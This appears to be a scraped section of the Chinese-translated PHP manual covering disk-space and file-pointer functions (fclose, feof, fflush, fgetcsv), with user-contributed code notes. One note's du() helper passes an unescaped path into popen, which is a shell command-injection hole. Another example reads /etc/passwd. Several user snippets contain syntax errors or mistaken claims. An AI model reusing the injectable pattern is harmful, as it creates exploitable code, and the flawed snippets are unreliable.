?>
Ashraf M Kaabi
02-Mar-2005 01:55
and also you can get Human Disk Free Space result in GB in This Example :
<?
function dfs_gb($drive)
{
       if($drive)
       {
       return round(diskfreespace("$drive:")/1024/1024/1024,2); //To Get Human Result in GB we divid it By 1024 Byte & 1024 KiloByte & 1024 MegaByte
       }
}

echo dfs_gb(D); //(D) is a drive letter
?>
aidan at php dot net
16-Oct-2004 08:49
To make human readable file sizes, see this function:

http://aidan.dotgeek.org/lib/?file=function.size_readable.php
add a note add a note

后退 | 起点 | 前进
dirname | 上一级 | disk_total_space


disk_total_space

(PHP 4 >= 4.1.0, PHP 5)

disk_total_space -- 返回一个目录的磁盘总大小

说明

float disk_total_space ( string directory )

给出一个包含有一个目录的字符串，本函数将根据相应的文件系统或磁盘分区返回所有的字节数。

例子 1. disk_total_space() 例子

<?php
// $df 包含 "/" 目录的磁盘大小
$df = disk_total_space("/");

//在 Windows 下:
disk_total_space("C:");
disk_total_space("D:");
?>

注: 本函数不能作用于远程文件，被检查的文件必须通过服务器的文件系统访问。

参见 disk_free_space()。

【译者注】本函数返回的是该目录所在的磁盘分区的总大小，因此在给出同一个磁盘分区的不同目录作为参数所得到的结果完全相同。在 Unix 和 Windows 200x/XP 中都支持将一个磁盘分区加载为一个子目录，这时正确使用本函数就很有意义。

add a note add a note User Contributed Notes
shalless at rubix dot net dot au
16-Jul-2003 10:36
My first contribution. Trouble is the sum of the byte sizes of the files in your directories is not equal to the amount of disk space consumed, as andudi points out. A 1-byte file occupies 4096 bytes of disk space if the block size is 4096. Couldn't understand why andudi did $s["blksize"]*$s["blocks"]/8. Could only be because $s["blocks"] counts the number of 512-byte disk blocks not the number of $s["blksize"] blocks, so it may as well just be $s["blocks"]*512. Furthermore none of the dirspace suggestions allow for the fact that directories are also files and that they also consume disk space. The following code dskspace addresses all these issues and can also be used to return the disk space consumed by a single non-directory file. It will return much larger numbers than you would have been seeing with any of the other suggestions but I think they are much more realistic:

<?php
function dskspace($dir)
{
   $s = stat($dir);
   $space = $s["blocks"]*512;
   if (is_dir($dir))
   {
     $dh = opendir($dir);
     while (($file = readdir($dh)) !== false)
       if ($file != "." and $file != "..")
         $space += dskspace($dir."/".$file);
     closedir($dh);
   }
   return $space;
}
?>
andudi at gmx dot ch
12-Jun-2002 06:15
To find the total size of a file/directory you have to differ two situations:
(on Linux/Unix based systems only!?)

you are interested:
1) in the total size of the files in the dir/subdirs
2) what place on the disk your dir/subdirs/files uses

- 1) and 2) normaly differs, depending on the size of the inodes
- mostly 2) is greater than 1) (in the order of any kB)
- filesize($file) gives 1)
- "du -ab $file" gives 2)

so you have to choose your situation!

on my server I have no rights to use "exec du" in the case of 2), so I use:
  $s = stat($file);
  $size = $s[11]*$s[12]/8);
whitch is counting the inodes [12] times the size of them in Bits [11]

hopes this helps to count the used disk place in a right way... :-)

                     Andreas Dick
kit at 4me dot ru
28-Jun-2001 05:57
I just did the simple thing -

<?php
function du($dir)
{
   $du = popen("/usr/bin/du -sk $dir", "r");
   $res = fgets($du, 256);
   pclose($du);
   $res = explode(" ", $res);

   return $res[0];
}
?>
add a note add a note

后退 | 起点 | 前进
disk_free_space | 上一级 | diskfreespace


diskfreespace

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

diskfreespace -- disk_free_space()的别名

说明

本函数是该函数的别名：disk_free_space()。

add a note add a note User Contributed Notes
27-Oct-2005 08:17
<?php
//On windows:
$hdwinC = disk_free_space("C:");
$hdwinD = disk_free_space("D:");
echo "Diskspace left on C: $hdwinC<br>";
echo "Diskspace left on D: $hdwinD";

//Linux:
$hdGnu = disk_free_space("/");
echo "Diskspace left on / $hdGnu";
?>
add a note add a note

后退 | 起点 | 前进
disk_total_space | 上一级 | fclose


fclose

(PHP 3, PHP 4, PHP 5)

fclose -- 关闭一个已打开的文件指针

说明

bool fclose ( resource handle )

将 handle 指向的文件关闭。

如果成功则返回 TRUE，失败则返回 FALSE。

文件指针必须有效，并且是通过 fopen() 或 fsockopen() 成功打开的。

例子 1. 一个简单 fclose() 例子

<?php
  $handle = fopen('somefile.txt', 'r');
  fclose($handle);
?>

add a note add a note User Contributed Notes
mark at markvange * com
05-May-2006 12:17
It is very important to make sure you clear any incoming packets out of the incoming buffer using fread() or some equivalent.  Although you can call fclose() the socket does not actually shut down until the inbound packets have been cleared.  This can lead to some confusion.
williamhamby at williamhamby dot net
08-Apr-2006 09:19
Trying to understand how 'end foreach' and 'endwhile' differ, I've encountered a problem I can't solve by myself. The following is a fairly easy stock portfolio script. Everything works, except at the end where I want to calculate the average of the gains as represented by $gain[$i].

<?php
$quantity="3";
$stocks=array("iso","grn","bdgr.pk");
$buydates=array("3 jan 2006","1 feb 2006","3 apr 2006");
$prices=array("0.32","0.20","0.95");
$recommends=array("hold","strong buy","buy");
$i=0;
echo"<tr>";
echo "\n<th align='center'>ticker</th>";
echo "\n<th align='center'>buy date</th>";
echo "\n<th align='center'>price $</th>";
echo "\n<th align='center'>recommend</th>";
echo "\n<th align='center'>value $</th>";
echo "\n<th align='center'>change %</th>\n</tr>\n";
foreach($stocks as $stock) {
$fp=fopen("http://","r");
$data=fgetcsv($fp,1000,",");
$values=$data[1];
echo "<tr>\n<td align='center'>".$stock."</td>";
echo "\n<td align='center'>".$buydates[$i]."</td>";
echo "\n<td align='center'>".$prices[$i]."</td>";
echo "\n<td align='center'>".$recommends[$i]."</td>";
echo "\n<td align='center'>".$values."</td>\n<td align='center'>";
echo $gain[$i]=round(((($values-$prices[$i])/$prices[$i])*100),2);
echo "</td>\n</tr>";
fclose ($fp);
$i++;
}
echo "\n<tr>\n<td align='center'>".$gain[$i]."<td>\n</tr>\n";
?>

Help?
James R. Steel
29-Nov-2005 01:02
In response to kumar mcmillan 'gotcha' note below, we get a different result on a W2K machine:

<?php
$file_pointer = fopen('textfile.dat', 'r');
fclose($file_pointer);
echo '$file_pointer is resource = ' . (is_resource($file_pointer) ? 'true': 'false');
?>

output:
$file_pointer is resource = false
kit dot lester at lycos dot co dot uk
18-Sep-2005 08:34
fclose() also clears any locks on the file, so if another process was being kept waiting for the lock to be cleared, fclose()ing will allow the other process to continue.

[Another "just-in-case" reason to habitually fclose() all files as soon as practical!]
jricher at jacquesricher dot com
01-Feb-2005 10:06
It is a GOOD_THING to check the return value from fclose(), as some operating systems only flush file output on close, and can, therefore, return an error from fclose(). You can catch severe data-eating errors by doing this.

I learned this the hard way.
kumar mcmillan
01-Oct-2004 03:10
gotcha:

<?php

$file_pointer = fopen('data.dat', 'r');
fclose($file_pointer);

echo '$file_pointer is resource = ' . (is_resource($file_pointer) ? 'true': 'false');

?>

output:
$file_pointer is resource = true
daniel7 dot martinez at ps dot ge dot com
11-Sep-2001 07:06
Generally, it's always a good idea to close a file when you're done with it. It's very easy for something to go wrong and corrupt a file that hasn't been closed properly. If you're concerned about efficiency, the overhead is negligible.
add a note add a note

后退 | 起点 | 前进
diskfreespace | 上一级 | feof


feof

(PHP 3, PHP 4, PHP 5)

feof -- 测试文件指针是否到了文件结束的位置

说明

bool feof ( resource handle )

如果文件指针到了 EOF 或者出错时则返回 TRUE，否则返回一个错误（包括 socket 超时），其它情况则返回 FALSE。

警告

如果服务器没有关闭由 fsockopen() 所打开的连接，feof() 会一直等待直到超时而返回 TRUE。默认的超时限制是 60 秒，可以使用 stream_set_timeout() 来改变这个值。

文件指针必须是有效的，并且必须指向一个由 fopen() 或 fsockopen() 成功打开的文件。

add a note add a note User Contributed Notes
ironoxid at libero dot it
06-Jun-2006 09:52
I really thought that the feof() was TRUE when the logical file pointer is a EOF.
but no !
we need to read and get an empty record before the eof() reports TRUE.

So

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  // ... do something with $c
  echo ftell($fp), ",";
}
echo 'EOF!';

prints for two time the last byte position.
If our file length is 5 byte this code prints

0,1,2,3,4,5,5,EOF!

Because of this, you have to do another check to verify if fgetc really reads another byte (to prevent error on "do something with $c" ^_^).

To prevent errors you have to use this code

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  if($c === false) break;
  // ... do something with $c
}

but this is the same of

$fp = fopen('test.bin','rb');
while(($c = fgetc($fp))!==false) {
  // ... do something with $c
}

Consequently feof() is simply useless.
Before write this note I want to submit this as a php bug but one php developer said that this does not imply a bug in PHP itself (http://bugs.php.net/bug.php?id=35136&edit=2).

If this is not a bug I think that this need at least to be noticed.

Sorry for my bad english.
Bye ;)
m a p o p a at g m a i l. c o m
03-Jun-2006 08:58
you  can avoid the infinite loop and filling the error logs
by an simple if statement
Here is the example

   $handle = fopen("http://xml.weather.yahoo.com/forecastrss?p=AYXX0008&u=f", "r");
   $xml = "";
   if ($handle)
   {
       while (!feof($handle))
       {
           $xml .= fread($handle, 128);
       }
       fclose($handle);
   }
docey
13-Jan-2006 03:07
because using an invalid handle can couse seriuos trouble,
here is some very simple code that can prevent any piece
of code to runaway using an invalid handle.

function is_valid(&$fp, $type){
 if(is_resource($fp)){
   if(get_resource_type($fp) == $type){
   return true;
   }else{
   return false;
   }
 }else{
  return false;
 }
}

now all you need to do to check if you got a valid handle,

if(is_valid($fp, "file")){
 // your code
}else{
 // your error code
}

its that simple to prevent any of your code from using an
invalid handle. ofcourse you can change the "file" line to
any resource you want to check for invalidies.

please use good coding habits, and don't assume any
varialbles, resource or objects are good. check them!!
02-Jan-2006 10:27
if you use fseek function to pos the pointer exceed the size the file,feof still return true.so note that when you use feof as the condition of while loop.
info at derlange dot tk
06-Aug-2005 06:20
NOTE!
if your file is empty and you make the feof()-check, it will return true the first time you call it.
example:
$handle=fopen("file","r");
while(!feof($handle))
{
 $line=fgets($handle);
}
$line is now an empty string ( "" )

you have to check the size of your file before, like this sample code:
if (filesize("file")>0)
{
 while( !feof($handle) )
 {
  $zeile=fgets($handle);
 }
}
01-Aug-2005 01:21
if you hit an feof() infinite loop, watch out for resultant humongous logs, they can cripple a site with hard disk usage limits or run up excess usage fees.
05-Mar-2005 01:02
if you're worried the file pointer is invalid, TEST IT before you go into your loop... that way it'll never be an infinite loop.
bruno dot moreira at brturbo dot com
13-Jan-2005 07:43
Use it with many caution. If your php.ini don't stop the script when it enter a infinity loop.
I don't think as good the use of feof with an while loop.
See the example:
$a=open("/etc/passwd");
while(!feof($a)){
 echo fgets($a);
 }
I used '/etc/passwd' because obviously the apache user isn't root, then cannot read '/etc/passwd'.
If in future the feof return's some different that TRUE or FALSE, this can be used with good results.
mark at newfangled dot com
05-May-2004 01:39
When a fopen() is done on a file that has permissions that are set to
not allow the current process user to read it or the file doesn't exist
it returns false. This is expected. The problem is when feof() is fed
the invalid handle it doesn't return TRUE() thus creating an infinite
loop in the following code example.

<?php
$fp = fopen( 't.txt', 'r' );

while( !feof( $fp ) )
{
   print fgets( $fp );
}

fclose( $fp );
?>

feof() would return TRUE to cancel the loop and the script would end.
There would of course be warnings because of the invalid file handle,
but that is expected.

There should be better error handling on the developers part and catch
the invalid file handle, but I would expect the file functions to handle
this situation accordingly.
Johannes
12-Mar-2004 06:47
I found feof() to be a slow function when using a non-blocking connection.

The function stream_get_meta_data() returns much quicker and has a return field 'eof'.
add a note add a note

后退 | 起点 | 前进
fclose | 上一级 | fflush


fflush

(PHP 4 >= 4.0.1, PHP 5)

fflush -- 将缓冲内容输出到文件

说明

bool fflush ( resource handle )

本函数强制将所有缓冲的输出写入 handle 文件句柄所指向的资源。 如果成功则返回 TRUE，失败则返回 FALSE。

文件指针必须是有效的，并且必须指向一个由 fopen() 或 fsockopen() 成功打开的文件。

add a note add a note User Contributed Notes
oryan at zareste dot com
31-Oct-2005 08:48
Just a note that fflush takes care of the cache already, at least on my server.  Using clearstatcache before reading a previously written file also worked, but lagged the output time much more noticeably (by two or three seconds), probably due to excess cache erasing beyond files.
draco at lomag dot net
13-Nov-2004 05:50
If you are write to a file, fflush() it and then hope to re-read in the data, you probably need to use http://www.php.net/manual/en/function.clearstatcache.php

Because of PHP's caching, it caches the original file when the script is first executed, so if you reread the file you wrote to, it will look like it was when it first executed. It wont contain any of the information you wrote to it.
jzho327 at cse dot unsw dot edu dot au
27-Jan-2003 04:27
Sorry, the note I previously added regarding fflush() has a bug!

when you read file by calling
$fp = fopen("myfile", "a+");

and you wish to read the content, you have to call
rewind($fp) before you attemp to read it. (Silly me) Or else if you tried something like
$fp = fopen("myfile", "a+");
$content = fread($fp);

// show that content is in fact null
if ($content == NULL)
 print "but it must be first put to rewind<br>\n";

will result

but it must be first put to rewind.
[new line]

in fact, if you are not careful (like me), and you opened it with
$fp = fopen("myfile", "r+");
$content = fread($fp);
..
// do something with content
..
then you tried to again
$content = fread($fp);
without rewind, you'd get NULL again. This sounds trivial, but if you work with several file resources, with freads and fopens everywhere, you can get easily lost. So becareful.
jzho327 at cse dot unsw dot edu dot au
27-Jan-2003 03:42
The use of fflush() seems to be useful when a resource handler is opened via 'r+' or 'a+', whence the user wish to read and write with one fopen command. Normally in such situation, for some reason everyone do

$fileName = "myfile";
$fp = fopen($fileName, "r");
..
// read the content
..
fclose($fp);
$fp = fopen($fileName, "a");
..
// write some new content
..
fclose($fp);

Now, it's probably sensible if you are writing completely new contents but if you're appending a few lines of text to a large file, to me this seems waste of resource to read in the content, then wipe the file, and then rewrite with almost the same content. In such case, maybe a single fopen with "a+" will suffice, provided you call fflush() before you actually write to the file.

Example,

suppose 'textfile' contain
line1: blah blah blah
line2: eni mani mu
line3: I can't believe it's not Java
[new line]

and you did
$fp = fopen("textfile", "a+");
fwrite($fp, "line4: at least it's not C#\n");
fclose($fp);

you will get

line1: blah blah blah
line2: eni mani mu
line3: I can't believe it's not Java
line1: blah blah blah
line2: eni mani mu
line3: I can't believe it's not Java
line4: as long as it's not C#\n
[new line]

instead, you should do
$fp = fopen("textfile", "a+");
fflush($fp);
fwrite($fp, "line4: as long as it's not C#\n");
// or maybe even
// $newtext = "line4: as long as it's not C#\n";
// fwrite($fp, $newtext, strlen($newtext));
fclose($fp);

which will give you the desired result,
line1: blah blah blah
line2: eni mani mu
line3: I can't believe it's not Java
line4: as long as it's not C#\n
[new line]

Now, I am new to PHP (really started coding yesterday or so) so please don't flame me if there is anything terribly wrong. I do however like to see someone explain why everyone fopen(..,"r"); and then fopen(..,"a"); and hardly anyone use fopen(..,"a+"); because it can be done with the help of fflush().

...Or maybe fflush() is just as wasteful.
add a note add a note

后退 | 起点 | 前进
feof | 上一级 | fgetc


fgetc

(PHP 3, PHP 4, PHP 5)

fgetc -- 从文件指针中读取字符

说明

string fgetc ( resource handle )

返回一个包含有一个字符的字符串，该字符从 handle 指向的文件中得到。碰到 EOF 则返回 FALSE。

文件指针必须是有效的，并且必须指向一个由 fopen() 或 fsockopen() 成功打开的文件。

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

例子 1. fgetc() 例子

<?php
$fp = fopen('somefile.txt', 'r');
if (!$fp) {
    echo 'Could not open file somefile.txt';
}
while (false !== ($char = fgetc($fp))) {
    echo "$char\n";
}
?>

注: 本函数可安全用于二进制对象。

参见 fread()，fopen()，popen()，fsockopen() 和 fgets()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fflush | 上一级 | fgetcsv


fgetcsv

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

fgetcsv -- 从文件指针中读入一行并解析 CSV 字段

说明

array fgetcsv ( int handle [, int length [, string delimiter [, string enclosure]]] )

handle

一个由 fopen()、popen() 或 fsockopen() 产生的有效文件指针。

length （可选）

必须大于 CVS 文件内最长的一行。在 PHP 5 中该参数是可选的。如果忽略（在 PHP 5.0.4 以后的版本中设为 0）该参数的话，那么长度就没有限制，不过可能会影响执行效率。

delimiter （可选）

设置字段分界符（只允许一个字符），默认值为逗号。

enclosure （可选）

设置字段环绕符（只允许一个字符），默认值为双引号。该参数是在 PHP 4.3.0 中添加的。

和 fgets() 类似，只除了 fgetcsv() 解析读入的行并找出 CSV 格式的字段然后返回一个包含这些字段的数组。

fgetcsv() 出错时返回 FALSE，包括碰到文件结束时。

注: CSV 文件中的空行将被返回为一个包含有单个 null 字段的数组，不会被当成错误。

例子 1. 读取并显示 CSV 文件的整个内容

<?php
$row = 1;
$handle = fopen("test.csv","r");
while ($data = fgetcsv($handle, 1000, ",")) {
    $num = count($data);
    echo "<p> $num fields in line $row: <br>\n";
    $row++;
    for ($c=0; $c < $num; $c++) {
        echo $data[$c] . "<br>\n";
    }
}
fclose($handle);
?>

从 PHP 4.3.5 起，fgetcsv() 的操作是二进制安全的。

注: 该函数对区域设置是敏感的。比如说 LANG 设为 en_US.UTF-8 的话，单字节编码的文件就会出现读取错误。

注: 如果碰到 PHP 在读取文件时不能识别 Macintosh 文件的行结束符，可以激活 auto_detect_line_endings 运行时配置选项。

参见 explode()，file()，pack() 和 fputcsv()

add a note add a note User Contributed Notes
Ariel asphp at dsgml dot com
01-Jun-2006 06:52
Should you need it, here is a nice and simple function for escaping csv fields properly.

This version is conditional - it only adds quotes if needed:
<?
function csv_escape($str) {
   $str = str_replace(array('"', ',', "\n", "\r"), array('""', ',', "\n", "\r"), $str, &$count);
   if($count) {
       return '"' . $str . '"';
   } else {
       return $str;
   }
}
?>

This version is even simpler, but adds quotes even if not needed.
<?
function csv_escape($str) {
   return = '"' . str_replace('"','""', $str) . '"';
}
?>
jon at jonhassall dot com
26-May-2006 12:54
I modified the code for my own purposes, to return an array with named keys for each field. I tried various alternatives, and this seems to work well with exported Excel data.

<pre><?php
//Move through a CSV file, and output an associative array for each line
ini_set("auto_detect_line_endings", 1);
$current_row = 1;
$handle = fopen("testdatasource.csv", "r");
while ( ($data = fgetcsv($handle, 10000, ",") ) !== FALSE )
{
   $number_of_fields = count($data);
   if ($current_row == 1)
   {
   //Header line
       for ($c=0; $c < $number_of_fields; $c++)
       {
           $header_array[$c] = $data[$c];
       }
   }
   else
   {
   //Data line
       for ($c=0; $c < $number_of_fields; $c++)
       {
           $data_array[$header_array[$c]] = $data[$c];
       }
       print_r($data_array);
   }
   $current_row++;
}
fclose($handle);
//Look at my photos www.jonhassall.com !
?></pre>

Jon Hassall
br0derbund at hotmail
19-May-2006 11:32
Thank you donnoman and ramdac, that's exactly the kind of function I needed!

For my use, assigning metadata to images, I actually want the first dimension array key to be a string pulled from the CSV; the unique filename, instead of a number.

Easy, just insert the second dim's key...
Change: $return[]=$row;
To: $return[$data[0]]=$row;
(You may indeed wish to confirm unique values first!)

Also, if you find the fields getting out of sync, increase the $len byte count for the largest cell of data.
simone.sanfratello at tiscali dot it
17-Mar-2006 10:30
to get an array with data from the MS Excel csv format (separated by ; and with string wich contains ; or " optionally delimited by " )

function getcsvxls($buffer)
{
   $buffer = str_replace('""', '"', $buffer);
   $n = strlen($buffer);
   $i = $line = 0;
   $del = false;
   while($i < $n)
   {
       $part = substr($buffer, $i);

       if(
           (substr($part, 0, 1) == ';' && !$del) ||
           (substr($part, 0, 2) == '";' && $del)
       )
       {
           $i ++;
           if($del)
           {
               $str = substr($str, 1, strlen($str) - 1);
               $i ++;
           }
           $data[$line][] = $str;
           $del = false;
           $str = '';
       } else if(substr($part, 0, 2) == "\r\n")
       {
           $data[$line][] = $str;
           $str = '';
           $del = false;
           $line ++;
           $i += 2;
       } else
       {
           if($part[0] == '"')
               $del = true;
           $str .= $part[0];
           $i ++;
       }
   }
   return $data;
}
daniel at softel dot jp
09-Mar-2006 11:03
Note that fgetcsv() uses the system locale setting to make assumptions about character encoding.
So if you are trying to process a UTF-8 CSV file on an EUC-JP server (for example),
you will need to do something like this before you call fgetcsv():

setlocale(LC_ALL, 'ja_JP.UTF8');

[Also not that setlocale() doesn't *permanently* affect the system locale setting]
02-Mar-2006 10:16
For those of you who need to get CSV data from a single line of quoted CSV (comma delimited) values (that may have commas in the data), use this:

<?

function csv_string_to_array($str){

   $expr="/,(?=(?:[^\"]*\"[^\"]*\")*(?![^\"]*\"))/";

   $results=preg_split($expr,trim($str));

   return preg_replace("/^\"(.*)\"$/","$1",$results);

}

$str=<<<EOF
"testing, stuff, here","is testing ok",200,456
EOF;

print_r(csv_string_to_array($str));

?>
abu1980 at yahoo dot com
01-Mar-2006 01:18
I was using the function to import a csv file that had some values with "\" included this confused the import function to ignore the End of line and hence an incorrect number of rows is returned to me.

Suggest you try to replace that \ and { brackets as well since they have the same function of an escape character before u import the function

thanks
28-Feb-2006 07:05
beware of characters of binary value == 0, as they seem to make fgetcsv ignore the remaining part of a line where they appear.

Maybe this is normal under some convention I don't know, but a file exported from Excel had those as values for some cells *sometimes*, thus fgetcsv return variable cell counts for different lines.

i'm using php 4.3
gibson.a.paul at gmail.com
02-Dec-2005 06:14
a simple script to output the contents of a CSV file as a nice table - should be totally dynamic and can use any seperator - it does not have to be a comma (,).

I don't perclaim my code is 100% perfect or correct, but it works.  useful if you back up your cell phone address book and it outputs CSV.

It works on the assumtion that the first line is the header row.

<?
//Define what you want the seperator to be, this could be new line, (\n) a tab (\t) or any other char, for obvious reasons avoid using chars that will be present in the string.  Id suggest a comma, or semicolon.
$sep = ",";

//define file to read
$file = "test.txt";

//read the file into an array
$lines = file($file);

//count the array
$numlines = count($lines);

//explode the first (0) line which will be the header line
$headers = explode($sep, $lines[0]);

//count the number of headers
$numheaders = count($headers);

$i = 0;

//start formatting output
echo "<table border = 1 cellpadding = 2><tr>";

//loop through the headers outputting them into their own <TD> cells
while($i<$numheaders){
       $headers = str_replace("\"", "", $headers);
       echo "<td>".$headers[$i]."</td>";
       $i++;
       }

echo "</tr>";

$y = 1;

//Output the data, looping through the number of lines of data and also looping through the number of cells in each line, as this is a dynamic number the header length has to be reread.
while($y<$numlines){
       $x=0;
       echo "<TR>";
               while($x<$numheaders){
               $fields = explode($sep, $lines[$y]);
               $fields = str_replace("\"", "", $fields);
               echo "<TD>&nbsp;".$fields[$x]." </TD>";
               $x++;
                       }
       $y++;
       echo "</TR>";
       }

//close the table.
echo "</table>";
?>
donnoman at donovanbray dot com
23-Nov-2005 11:48
/**
 * Based on an example by ramdac at ramdac dot org
 * Returns a multi-dimensional array from a CSV file optionally using the
 * first row as a header to create the underlying data as associative arrays.
 * @param string $file Filepath including filename
 * @param bool $head Use first row as header.
 * @param string $delim Specify a delimiter other than a comma.
 * @param int $len Line length to be passed to fgetcsv
 * @return array or false on failure to retrieve any rows.
 */
function importcsv($file,$head=false,$delim=",",$len=1000) {
   $return = false;
   $handle = fopen($file, "r");
   if ($head) {
       $header = fgetcsv($handle, $len, $delim);
   }
   while (($data = fgetcsv($handle, $len, $delim)) !== FALSE) {
       if ($head AND isset($header)) {
           foreach ($header as $key=>$heading) {
               $row[$heading]=(isset($data[$key])) ? $data[$key] : '';
           }
           $return[]=$row;
       } else {
           $return[]=$data;
       }
   }
   fclose($handle);
   return $return;
}
junk at vhd dot com dot au
14-Nov-2005 08:46
Based on my observations a few comments below I have written a class that incorporates all these features. Here is the class description:

----------

This class will parse a csv file in either standard or MS Excel format.
Two methods are provided to either process a line at a time or return the whole csv file as an array.

It can deal with:
- Line breaks within quoted fields
- Character seperator (usually a comma or semicolon) in quoted fields
- Can leave or remove leading and trailing spaces or tabs
- Can leave or skip empty rows.
- Windows and Unix line breaks dealt with automatically. (Care must be taken with Macintosh format.)

Also, the escape character is automatically removed.

-----------

So basically it should "just work". If it doesn't please send me an email ;-)

You can download it from: http://www.phpclasses.org/browse/package/2672.html

An example on how to use the class and a test.csv file are also provided.
tokai at binaryriot dot com
08-Nov-2005 06:18
Newer PHP versions handle cvs files slightly different than older versions.

"Max Mustermann"|"Muster Road 34b"|"Berlin"    |"Germany"
"Sophie Master" |"Riverstreet"    |"Washington"|"USA"

The extra spaces behind a few fields in the example (which are useful, when you manually manage a small csv database to align the columns) were ignored by fgetcsv from PHP 4.3. With the new 4.4.1 release they get appended to the string, so you end up with "Riverstreet    " instead the expected "Riverstreet".

Easy workaround is to just trim all fields after reading them in.

while ( $data = fgetcsv($database, 32768, "|") )
{
   $i = 0;

   while(isset($data[$i]))
   {
       $data[$i] = rtrim($data[$i]);
       $i++;
   }

   ....
}
junk at vhd dot com dot au
25-Oct-2005 12:52
The fgetcsv function seems to follow the MS excel conventions, which means:

- The quoting character is escaped by itself and not the back slash.
(i.e.Let's use the double quote (") as the quoting character:

   Two double quotes  "" will give a single " once parsed, if they are inside a quoted field (otherwise neither of them will be removed).

   \" will give \" whether it is in a quoted field or not (same for \\) , and

   if a single double quote is inside a quoted field it will be removed. If it is not inside a quoted field it will stay).

- leading and trailing spaces (\s or \t) are never removed, regardless of whether they are in quoted fields or not.

- Line breaks within fields are dealt with correctly if they are in quoted fields. (So previous comments stating the opposite are wrong, unless they are using a different PHP version.... I am using 4.4.0.)

So fgetcsv if actually very complete and can deal with every possible situation. (It does need help for macintosh line breaks though, as mentioned in the help files.)

I wish I knew all this from the start. From my own benchmarks fgetcsv strikes a very good compromise between memory consumption and speed.

-------------------------
Note: If back slashes are used to escape quotes they can easily be removed afterwards. Same for leading and trailing spaces.
mortanon at gmail dot com
14-Oct-2005 11:05
Hier is an example for a CSV Iterator.

<?php
class CsvIterator implements Iterator
{
   const ROW_SIZE = 4096;
   /**
     * The pointer to the cvs file.
     * @var resource
     * @access private
     */
   private $filePointer = null;
   /**
     * The current element, which will
     * be returned on each iteration.
     * @var array
     * @access private
     */
   private $currentElement = null;
   /**
     * The row counter.
     * @var int
     * @access private
     */
   private $rowCounter = null;
   /**
     * The delimiter for the csv file.
     * @var str
     * @access private
     */
   private $delimiter = null;

   /**
     * This is the constructor.It try to open the csv file.The method throws an exception
     * on failure.
     *
     * @access public
     * @param str $file The csv file.
     * @param str $delimiter The delimiter.
     *
     * @throws Exception
     */
   public function __construct($file, $delimiter=',')
   {
       try {
           $this->filePointer = fopen($file, 'r');
           $this->delimiter = $delimiter;
       }
       catch (Exception $e) {
           throw new Exception('The file "'.$file.'" cannot be read.');
       }
   }

   /**
     * This method resets the file pointer.
     *
     * @access public
     */
   public function rewind() {
       $this->rowCounter = 0;
       rewind($this->filePointer);
   }

   /**
     * This method returns the current csv row as a 2 dimensional array
     *
     * @access public
     * @return array The current csv row as a 2 dimensional array
     */
   public function current() {
       $this->currentElement = fgetcsv($this->filePointer, self::ROW_SIZE, $this->delimiter);
       $this->rowCounter++;
       return $this->currentElement;
   }

   /**
     * This method returns the current row number.
     *
     * @access public
     * @return int The current row number
     */
   public function key() {
       return $this->rowCounter;
   }

   /**
     * This method checks if the end of file is reached.
     *
     * @access public
     * @return boolean Returns true on EOF reached, false otherwise.
     */
   public function next() {
       return !feof($this->filePointer);
   }

   /**
     * This method checks if the next row is a valid row.
     *
     * @access public
     * @return boolean If the next row is a valid row.
     */
   public function valid() {
       if (!$this->next()) {
           fclose($this->filePointer);
           return false;
       }
       return true;
   }
}
?>

Usage :

<?php
$csvIterator = new CsvIterator('/path/to/csvfile.csv');
foreach ($csvIterator as $row => $data) {
   // do somthing with $data
}
?>
Vladimir Gruzdev
20-Sep-2005 11:09
"cristian DOT zuddas AT gmail DOT com" has posted the corrected function "CSV2Array", but all the same there's an error. For example, function incorrectly processes a simple csv-file from "MS Excel" (http://wsCat.ka.pp.ru/test.csv) in which fields any way contain quotes and CR/LF . I has written working  function which has successfully applied to import of the greater production catalog.

<?php
// --------- Test ---------------------------------------
$str=file_get_contents('http://wsCat.ka.pp.ru/test.csv');
$rows=CSV2Array($str);
echo '<table border="1" cellSpacing="2" cellPadding="2">';
for($i=0;$i<count($rows);$i++)
   {
   echo '<tr>';
   for ($j=0;$j<count($rows[$i]);$j++)
       {
         echo '<td>'.$rows[$i][$j]. '</td>';
       }
   echo '</tr>';
   }
echo '</table>';
// -----------------------------------------------------
/**
 *function CSV2Array
 *Convert CSV-text to 2d-array
 *(delimeter = ';', line ending = '\r\n' - only for windows platform)
 * @param string $query (query to database)
 * @return array
 */
function CSV2Array($content)
   {
     if ($content{strlen($content)-1}!="\r" && $content{strlen($content)-1}!="\n")
         $content .= "\r\n";

     $arr=array();
     $temp=$content;
     $tma=array();
     while (strlen($temp)>0)
           {
           if ($temp{0}=='"')
               {
               $temp=substr($temp,1);
               $str='';
               while (1)
                   {
                   $matches=array();
                   if (!preg_match('/^(.*?)"("*?)(;|\r\n)(.*)$/is',$temp,$matches))
                     return $arr;

                   $temp=$matches[4];
                   if (fmod(strlen($matches[2]),2)>0)
                       {
                       $str.=$matches[1].$matches[2].'"'.$matches[3];
                       continue;
                       }
                     else
                       {
                       $tma[]=preg_replace('/""/','"',$str.$matches[1].$matches[2]);
                       if ($matches[3]!=';')
                           {
                           $arr[]=$tma;
                           $tma=array();
                           }
                       break;
                       }
                   }
               }
             else
               {
               $matches=array();
               if (!preg_match('/^([^;\r\n]*)(;|\r\n)(.*)$/is',$temp,$matches))
                   return $arr;
               $tma[]=$matches[1];
               $temp=$matches[3];
               if ($matches[2]!=';')
                   {
                   $arr[]=$tma;
                   $tma=array();
                   }
               }
           }
     return $arr;
   }
?>
at lapstore doot de the webmaster
26-Aug-2005 10:16
Some of you might need this:
CSV-Parser optimized for -speed- which can handle linebreaks in quoted strings
This parser can not handle unquoted data containing quotes ("), i.e. apple, ban"ana, cherry

<?php
// csv.inc.php
//
// Usage:
// use argument chopnl=true to autoconvert linebreaks in strings to spaces

$csv_data = "apple; banana; \"multi-\nline\";\"string with \"\" quoted quotes\";\n";
$csv_data .= "second;line;with;trailing;colon\n";
$csv_data .= "third;line;without;trailing;colon;";
$prepared = csv_prepare($csv_data);
while ($myrow = csv_getrow(&$prepared, false)) {
  echo "Row ".csv_rownumber(&$prepared).": ";
